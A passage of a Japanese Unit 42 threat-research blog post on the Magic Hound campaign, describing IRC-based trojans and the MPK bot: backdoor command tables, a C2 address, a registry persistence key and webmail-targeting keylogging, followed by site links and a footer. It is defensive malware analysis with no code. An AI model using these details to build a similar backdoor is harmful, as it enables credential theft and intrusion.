|             | RD             | Removes a specified directory. The Trojan will respond to the C2 with "PRIVMSG : \[\]". The message sent to the C2 will be "dir is removed." if successful or "dir is not removed." if unsuccessful.                            |
|             | DEL            | Deletes a specified file. The Trojan will respond to the C2 with "PRIVMSG : \[\]". The message sent to the C2 will be "file is deleted." if successful or "file is not deleted." if unsuccessful.                               |
|             | COPY           | Not supported.                                                                                                                                                                                                                  |
|             | MOVE           | Not supported.                                                                                                                                                                                                                  |
|             | REN            | Renames a specified file. The Trojan will respond to the C2 with "PRIVMSG : \[\]". The message sent to the C2 will be "file is renamed." if successful or "file is not renamed." if unsuccessful.                               |
|             | DRIVE          | Lists the logical drives and the type, as well the total/free space of the fixed devices.                                                                                                                                       |
| EXE         |                | Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server.                                                                                                         |
| !DWN        |                | Downloads a file from a specified URL. Responds to the IRC server via PRIVMSG with "Download Success :FilePath=" or "Download Fail" if unsuccessful.                                                                            |
| !CMD        |                | Trojan executes a command prompt command. The Trojan will save the output of the command to %TEMP%\\win.txt and send the contents to the C2 server or "The length of Cmd result file is ziro!" if the command was unsuccessful. |
| SA          |                | Generates the following IRC client command that will be sent to the C2 server: PRIVMSG : Hello ,my name is , Im ready my Computer Name is:                                                                                      |

VERコマンドを除くコマンドはすべて、IRCチャネル内で"AS\_"または"AF\_"で始まるニックネームを使用して個別に発行される必要があります。これは、敵対者のIRCニックネームには、このトロイの木馬に感染したシステムを制御するためにこれらの接頭辞が必要であることを示唆しています。敵対者は、この名前の要件を、他の個人がIRCサーバに参加していないことを確認して、侵害したシステムとのやり取りを開始するための追加の手段として使用できます。

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image024.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image025.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image026.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image027.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image028.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image029.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image030.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image031.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image032.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image033.png)

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image034.png)

### MPKBot

また、C2サーバではなく、RetrieverサンプルがホストされていたIPを使用して、MPKと呼ばれる2番目のIRCボット(SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19)も発見されました。このMPK IRCボットは、[Rocket Kitten](https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf)と呼ばれる脅威グループについて説明しているCheckPointによるホワイトペーパーで述べられているように、カスタムC2通信プロトコルを使用したMPK トロイの木馬に非常によく似ています。このバージョンのMPKトロイの木馬は同じコード ベースに基づいていると確信しています。IRCバージョンと上記ホワイトペーパーで説明されているバージョンの両方には挙動の観点からかなりの類似点があり、どちらのトロイの木馬も両者の間で直接コードを共有しているからです。

挙動の点から見ると、MPKのIRCバージョンとカスタム プロトコル バージョンはどちらも、トロイの木馬を最終的な場所に保存し、それを実行するために、"tmp.vbs"と"tmp1.vbs"を%TEMP%フォルダに保存します(両者はわずかに異なりますが、スクリプト内で同じ変数名を使用しています)。どちらの亜種も、"tmp.vbs"および"tmp1.vbs"ファイルを使用したトロイの木馬のコピーと実行の継続的な試行を回避するために、コマンド ライン引数"\[2\]"を使用して実行する必要があります。MPKの2つの亜種は、トロイの木馬がシステムの起動ごとに自動実行するために使用しているものと同じレジストリ キーを共有しています。具体的には、次のとおりです。

\[HKLM and HKCU\]\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\explorer

どちらのMPK亜種にも、機能面が酷似しているキー ロガーが含まれ、さらに、キー ログ ファイル内のヘッダーに同じ文字列が使用されています。MPK IRCボットは、アクティブなアプリケーション ウィンドウを監視して、開かれているウィンドウのタイトルを記録されたキーストロークとともに"%temp%\\Save.tmp"にあるファイルに書き込みます。また、MPKトロイの木馬は、特に以下を含むタイトルのウィンドウなど、一般的なWebベースの電子メール クライアントのログイン フォームを含む可能性のあるウィンドウを監視します。

"Gmail -"  
"Yahoo -- login"  
"Sign In -"  
"Outlook.com -"

MPKは、これらのウィンドウ タイトルの解析を試み、関連付けられた電子メール アドレスを識別し、これらを以下の形式を使用してログ ファイルへ記録します。

/////////////  
Mail Find  
///////////

トロイの木馬は、Gmail、YahooまたはOutlookに関連付けられたウィンドウ タイトルが見つからない場合には、そのタイトルを以下の形式で"Save.tmp"ファイルに保存します。

+++++++++++++  
Window=  
+++++++++++++

MPKのIRC亜種とIRC以外の亜種の大きな違いは、使用されるC2プロトコルです。IRC亜種は、"mpk1"という名前のミューテックスを作成し、45.58.37\[.\]142:6667でIRCサーバへの接続を試みます。MPKボットは、ランダムな小文字の名前を生成し、それを使用してIRCサーバにログインします。その後、以下のIRCコマンドを送信します。

NICK bxphzrjbxp  
USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp

正しいサーバに接続したことを確認するために、トロイの木馬は、ボットが接続した後に、IRCサーバから送信されたメッセージをチェックします。

Welcome to the MpkNet IRC Network

MPKボットは、特定のIRCチャネルには参加しません。代わりに、ニックネーム"mpk"を使用してプライベート メッセージ(PRIVMSG)をユーザーに送信します。IRCサーバに接続後、MPKボットはカスタムpingメッセージを送信し、感染したホストに現在ログインしているユーザー、ユーザーが管理者権限を持つ場合は、ホスト名、システムのUUID、オペレーティング システムのバージョンを含む"!Hello"メッセージを介して導入のための情報を提供します。図7は、MPKボットからC2サーバの"mpk"アカウントへの初期プライベート メッセージを示しています。
![図7 MPKからIRC C2サーバへの初期プライベート メッセージ](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image035.png) 図7 MPKからIRC C2サーバへの初期プライベート メッセージ

MPK IRCボット内で使用可能なコマンドは、MPKのカスタム プロトコル亜種で使用されているswitch文ではなく、ジャンプ テーブルを介して呼び出されます。MPKのIRC亜種には、これを有効なバックドア トロイの木馬にするコマンド セット(表2)があります。これらのコマンドは、特に、攻撃者が、キーロギングを介して標的システムから認証情報を盗んだり、ファイル システム内をナビゲートして操作したり、任意のコマンドの実行やシステム上での追加ツールのダウンロードと実行を行ったりできるようにします。

|---------------------|---------------------------------------------------------------------------------|
| **コマンド**            | **説明**                                                                          |
| !Dir                | 指定されたディレクトリの内容をリストします。                                                          |
| !Drives             | システムに接続されたストレージ デバイスとそれぞれのタイプを列挙します。                                            |
| !DeleteFile         | 指定されたファイルを削除します。                                                                |
| !NickChange         | トロイの木馬がC2 IRCサーバにログインするために使用するニックネームを変更します。それ以降のログイン用に、それを"nick435.tmp"に書き込みます。 |
| !ProcessList        | 実行中のプロセスを、それらのPID、親PID、実行可能ファイル名、および優先度を含めてリストします。                              |
| !SendFileToServer   | 指定されたファイルをC2サーバにアップロードします。                                                      |
| !CaptureScreen      | スクリーンショットを撮って、それをファイルに保存し、C2サーバにアップロードします。                                      |
| !Hello              | トロイの木馬は、現在のユーザー名、それが管理アカウントかどうか、コンピュータ名、システムUUID、OSバージョンを送信することで、自己紹介します。       |
| !ProcessKill        | PIDに基づいてプロセスを終了します。                                                             |
| !RenameFileFolder   | ファイルまたはフォルダの名前を変更し、フォルダを含むリストをC2サーバに返します。                                       |
| !GetFileOfServer    | C2サーバからのファイルを指定されたファイルに書き込みます。                                                  |
| !ExecuteCommand     | コマンド プロンプト サブプロセスを使用して、コマンドを実行し、それらの結果をC2に返します。                                 |
| !ExeCuteFile        | ShellExecuteAを使用して指定されたファイルを実行します。                                              |
| !DeleteFileFolder   | ファイルまたはフォルダを削除します。                                                              |
| !SendkeyLogToServer | %TEMP%\\Save.tmpファイルをC2サーバにアップロードします。                                           |
| !DeleteKeyloggerLog | システム上の%TEMP%\\Save.tmpファイルを削除します。                                               |

*表2 MPK IRCボット内で使用可能なコマンド*
トップに戻る

### タグ

* [Magic hound](https://unit42.paloaltonetworks.com/ja/tag/magic-hound-ja/ "magic hound")
* [Saudi Arabia](https://unit42.paloaltonetworks.com/ja/tag/saudi-arabia-ja/ "Saudi Arabia")  
  [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:銀行を狙うトロイの木馬：日本の感染者を踏み台に世界中に攻撃を行う、Ursnifによる配信ネットワークが明らかに](https://unit42.paloaltonetworks.com/ja/unit42-banking-trojans-ursnif-global-distribution-networks-identified/ "銀行を狙うトロイの木馬：日本の感染者を踏み台に世界中に攻撃を行う、Ursnifによる配信ネットワークが明らかに")

### 目次

* 

### 関連記事

* [脅威に関する情報: イラン関連サイバー攻撃オペレーション](https://unit42.paloaltonetworks.com/ja/threat-brief-iranian-linked-cyber-operations/ "article - table of contents")
* [Shamoon 2: 舞い戻ってきたDisttrackワイパー](https://unit42.paloaltonetworks.com/ja/unit42-shamoon-2-return-disttrack-wiper/ "article - table of contents")
* [OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信](https://unit42.paloaltonetworks.com/ja/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ "article - table of contents")

## 関連項目 リソース

![Pictorial representation of Muddled Libra, aka Scattered Spider. A vibrant illustration of the Libra zodiac sign, featuring a stylized balance scale overlaid with a prominent Libra symbol. The background is a starry night sky with shades of purple and blue, suggesting a cosmic theme.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/03-1-Muddle-Libra-1920x900-1-786x368.png)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年2月10日 [#### Muddled Libraのプレイブックを覗いてみよう](https://unit42.paloaltonetworks.com/ja/muddled-libra-ops-playbook/)

* [Muddled Libra](https://unit42.paloaltonetworks.com/ja/tag/muddled-libra-ja/ "Muddled Libra")

* [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell")

* [Scattered Spider](https://unit42.paloaltonetworks.com/ja/tag/scattered-spider-ja/ "Scattered Spider")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/muddled-libra-ops-playbook/ "Muddled Libraのプレイブックを覗いてみよう")  
  ![Pictorial representation of threat groups from Russia. The silhouette of a bear and the Ursa constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/Ursa-Russia-B-1920x900-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/ja/category/insights-ja/) 2026年1月29日 [#### 2026年冬季オリンピックに対するロシアのサイバー脅威を理解する](https://unit42.paloaltonetworks.com/ja/russian-cyberthreat-2026-winter-olympics/)

* [AI](https://unit42.paloaltonetworks.com/ja/tag/ai-ja/ "AI")

* [IoT](https://unit42.paloaltonetworks.com/ja/tag/iot-ja/ "IoT")

* [Russia](https://unit42.paloaltonetworks.com/ja/tag/russia-ja/ "Russia")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/russian-cyberthreat-2026-winter-olympics/ "2026年冬季オリンピックに対するロシアのサイバー脅威を理解する")  
  ![Pictorial representation of 01flip ransomware written in Rust. Digital artwork of a pixelated U.S. dollar bill disintegrating into small blocks against a blue data matrix background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/12/05_Ransomware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年12月10日 [#### 01flip:Rustで書かれたマルチプラットフォーム ランサムウェア](https://unit42.paloaltonetworks.com/ja/new-ransomware-01flip-written-in-rust/)

* [Bitcoin](https://unit42.paloaltonetworks.com/ja/tag/bitcoin-ja/ "Bitcoin")

* [CL-CRI-103](https://unit42.paloaltonetworks.com/ja/tag/cl-cri-103-ja/ "CL-CRI-103")

* [Cryptocurrency](https://unit42.paloaltonetworks.com/ja/tag/cryptocurrency-ja/ "Cryptocurrency")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/new-ransomware-01flip-written-in-rust/ "01flip:Rustで書かれたマルチプラットフォーム ランサムウェア")  
  ![Pictorial representation of malicious LLMs. Close-up view of a digital wall displaying various glowing icons, representing a high-tech network interface.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/11/AdobeStock_1270203474-786x440.jpeg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年11月25日 [#### AIのデュアルユースのジレンマ：悪意あるLLM](https://unit42.paloaltonetworks.com/ja/dilemma-of-ai-malicious-llm/)

* [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting")

* [Data exfiltration](https://unit42.paloaltonetworks.com/ja/tag/data-exfiltration-ja/ "data exfiltration")

* [LLM](https://unit42.paloaltonetworks.com/ja/tag/llm-ja/ "LLM")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/dilemma-of-ai-malicious-llm/ "AIのデュアルユースのジレンマ：悪意あるLLM")  
  ![Pictorial representation of Gh0st RAT malware. A woman analyzes code on a computer screen in an office setting, with another individual working in the background.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/11/04_Security-Technology_Category_1505x922-718x440.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年11月14日 [#### デジタル ドッペルゲンガーGh0st RATを配信する進化するなりすましキャンペーンの分析](https://unit42.paloaltonetworks.com/ja/impersonation-campaigns-deliver-gh0st-rat/)

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")

* [Gh0st Rat](https://unit42.paloaltonetworks.com/ja/tag/gh0st-rat-ja/ "Gh0st Rat")

* [PDNS](https://unit42.paloaltonetworks.com/ja/tag/pdns-ja/ "PDNS")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/impersonation-campaigns-deliver-gh0st-rat/ "デジタル ドッペルゲンガーGh0st RATを配信する進化するなりすましキャンペーンの分析")  
  ![Pictorial representation of a gift card fraud campaign. A glowing skull and crossbones on a circuit board.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/10/07_Cybercrime_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2025年10月22日 [#### Jingle Thief: クラウドベースのギフトカード詐欺キャンペーンの実態](https://unit42.paloaltonetworks.com/ja/cloud-based-gift-card-fraud-campaign/)

* [CL‑CRI‑1032](https://unit42.paloaltonetworks.com/ja/tag/cl-cri-1032-ja/ "CL‑CRI‑1032")

* [Microsoft](https://unit42.paloaltonetworks.com/ja/tag/microsoft-ja/ "Microsoft")

* [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/cloud-based-gift-card-fraud-campaign/ "Jingle Thief: クラウドベースのギフトカード詐欺キャンペーンの実態")  
  ![Pictorial representation of Unit 42 threat attribution system. Illustration featuring a white triangle centered within an abstract cosmic background of purple and blue swirls and stars.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/Generic-A-1920x900-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2025年7月31日 [#### Unit 42のアトリビューション フレームワークの紹介](https://unit42.paloaltonetworks.com/ja/unit-42-attribution-framework/)

* [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat")

* [Bookworm](https://unit42.paloaltonetworks.com/ja/tag/bookworm-ja/ "Bookworm")

* [Nomenclature](https://unit42.paloaltonetworks.com/ja/tag/nomenclature-ja/ "nomenclature")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/unit-42-attribution-framework/ "Unit 42のアトリビューション フレームワークの紹介")  
  ![Pictorial representation of social engineering. Digital illustration of four human profiles connected by glowing neural network lines against a dark background, symbolizing connectivity and technology.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/cover-1920x900-no-blades-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-report-white-1.svg)トレンド レポート](https://unit42.paloaltonetworks.com/ja/category/trend-reports-ja/) 2025年7月30日 [#### Unit 42インシデント レスポンス レポート(2025年版): ソーシャル エンジニアリング編](https://unit42.paloaltonetworks.com/ja/2025-unit-42-global-incident-response-report-social-engineering-edition/)

* [Agent Serpens](https://unit42.paloaltonetworks.com/ja/tag/agent-serpens-ja/ "Agent Serpens")

* [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting")

* [Lumma Stealer](https://unit42.paloaltonetworks.com/ja/tag/lumma-stealer-ja/ "Lumma Stealer")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/2025-unit-42-global-incident-response-report-social-engineering-edition/ "Unit 42インシデント レスポンス レポート(2025年版): ソーシャル エンジニアリング編")  
  ![Pictorial representation of initial access brokers like TGR-CRI-0045. Digital concept image featuring a stream of glowing code with words like "Security," "Hackers," and "Crime" overlaid in bold text, symbolizing cybersecurity and data protection.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/03_Cybercrime_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2025年7月8日 [#### GoldMelody の隠されたコード: イニシャル アクセス ブローカーのインメモリ IIS モジュールが明らかに](https://unit42.paloaltonetworks.com/ja/initial-access-broker-exploits-leaked-machine-keys/)

* [GoLang](https://unit42.paloaltonetworks.com/ja/tag/golang-ja/ "GoLang")

* [Initial Access](https://unit42.paloaltonetworks.com/ja/tag/initial-access/ "Initial Access")

* [Microsoft](https://unit42.paloaltonetworks.com/ja/tag/microsoft-ja/ "Microsoft")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/initial-access-broker-exploits-leaked-machine-keys/ "GoldMelody の隠されたコード: イニシャル アクセス ブローカーのインメモリ IIS モジュールが明らかに")  
  ![Pictorial representation of Iranian-backed threat groups and hacktivists. Digital illustration of a global network featuring interconnected lines and dots, suggesting a data-driven representation of worldwide connectivity, with a focus on technology and innovation. The image uses blue tones with red and light blue highlights.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/06/08_Nation-State-cyberattacks_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2025年6月30日 [#### 脅威情報: イランに関連するサイバー リスクの拡大 (6月30日更新）](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2025/)

* [Agent Serpens](https://unit42.paloaltonetworks.com/ja/tag/agent-serpens-ja/ "Agent Serpens")

* [Agonizing Serpens](https://unit42.paloaltonetworks.com/ja/tag/agonizing-serpens-ja/ "Agonizing Serpens")

* [Boggy Serpens](https://unit42.paloaltonetworks.com/ja/tag/boggy-serpens-ja/ "Boggy Serpens")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2025/ "脅威情報: イランに関連するサイバー リスクの拡大 (6月30日更新）")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得

## 進化する脅威の状況を常に先取り

メール アドレス

本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。

本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。

Invalid captcha!
サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} 製品とサービス

* [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security)

* [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design)

* [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security)

* [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security)

* [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security)

* [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall)

* [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations)

* [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.jp/network-security/panorama)

* [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase)

* [Prisma SASE](https://www.paloaltonetworks.jp/sase)

* [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration)

* [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.jp/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan)

* [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex)

* [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud)

* [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse)

* [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response)

* [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam)

* [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira)

* [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management)

* [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager)

* [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance)

* [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management)

* [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic)

* [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management)

* [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance)

* [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery)

* [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access)

* [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42)

* [予防評価](https://www.paloaltonetworks.jp/unit42/assess)

* [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond)

* [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform)

* [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners)  
  会社名

* [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us)

* [採用情報](https://jobs.paloaltonetworks.com/en/)

* [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales)

* [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [お客様向け](https://www.paloaltonetworks.jp/customers)

* [IR](https://investors.paloaltonetworks.com/)

* [拠点](https://www.paloaltonetworks.com/about-us/locations)

* [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom)  
  人気のあるリンク

* [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja)

* [コミュニティ](https://www.paloaltonetworks.com/communities)

* [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources)

* [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia)

* [イベントセンター](https://events.paloaltonetworks.com/)

* [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center)

* [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z)

* [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance)

* [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure)

* [サイトマップ](https://www.paloaltonetworks.jp/sitemap)

* [テクニカル ドキュメント](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.jp/)

* [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

